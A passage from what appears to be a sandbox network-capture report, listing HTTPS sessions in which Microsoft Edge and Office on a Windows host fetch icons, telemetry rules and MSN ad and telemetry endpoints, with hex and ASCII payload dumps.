2024-11-24 22:24:39 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49835	13.107.246.40	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:38 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:39 UTC	516	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:39 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 6e533cfd-401e-0006-17bf-3e9f7f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T222438Z-178bfbc474bfw4gbhC1NYCunf400000006ng000000005s67 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 22:24:39 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49833	13.107.246.40	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:38 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:39 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:38 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: b89fa148-901e-002d-4fd8-3cebc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T222438Z-174c587ffdfldtt2hC1TEBwv9c00000004t000000000rbsv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:39 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:38 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 15a67567-d01e-0066-07eb-3bea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222439Z-15b8b599d882hxlwhC1TEBfa5w000000050g000000004t93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:39 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:39 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 876f21bf-101e-007a-0bbf-3e047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222439Z-178bfbc474bbcwv4hC1NYCypys00000006dg00000000bk4p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 22:24:39 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:39 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:39 UTC	498	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:39 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 81bf26fc-f01e-0099-6bb6-3e9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222439Z-178bfbc474bbcwv4hC1NYCypys00000006ag00000000n32f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-24 22:24:39 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49841	20.75.60.91	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:39 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0A261308FCDB683529D90649FDDC6975&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=1e01ea53e2cc4bb99989802f5c1091dc HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0A261308FCDB683529D90649FDDC6975; _EDGE_S=F=1&SID=3E2CFF2A86D9641108B3EA6B876D6559; _EDGE_V=1
2024-11-24 22:24:40 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 24 Nov 2024 22:24:39 GMT Connection: close
2024-11-24 22:24:40 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49840	20.189.173.8	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:40 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732487076697&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3781 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0A261308FCDB683529D90649FDDC6975; _EDGE_S=F=1&SID=3E2CFF2A86D9641108B3EA6B876D6559; _EDGE_V=1
2024-11-24 22:24:40 UTC	3781	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 34 54 32 32 3a 32 34 3a 33 36 2e 36 39 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 64 39 65 33 62 30 36 2d 63 62 63 33 2d 34 62 61 31 2d 39 37 62 64 2d 64 36 39 63 36 30 38 34 64 31 64 38 22 2c 22 65 70 6f 63 68 22 3a 22 31 39 35 35 37 33 31 35 37 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-24T22:24:36.691Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"ad9e3b06-cbc3-4ba1-97bd-d69c6084d1d8","epoch":"1955731576"},"app":{"locale
2024-11-24 22:24:40 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=fed98132e8aa459199c26e62ec99507b&HASH=fed9&LV=202411&V=4&LU=1732487080228; Domain=.microsoft.com; Expires=Mon, 24 Nov 2025 22:24:40 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=705e49a86ecd4233ad34e6f71a2c51f2; Domain=.microsoft.com; Expires=Sun, 24 Nov 2024 22:54:40 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3531 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 24 Nov 2024 22:24:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49844	104.117.182.56	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:40 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:40 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=312337 Expires: Thu, 28 Nov 2024 13:10:17 GMT Date: Sun, 24 Nov 2024 22:24:40 GMT Connection: close
2024-11-24 22:24:40 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49847	104.117.182.56	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:40 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:40 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=55847 Expires: Mon, 25 Nov 2024 13:55:27 GMT Date: Sun, 24 Nov 2024 22:24:40 GMT Connection: close
2024-11-24 22:24:40 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49848	104.117.182.56	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
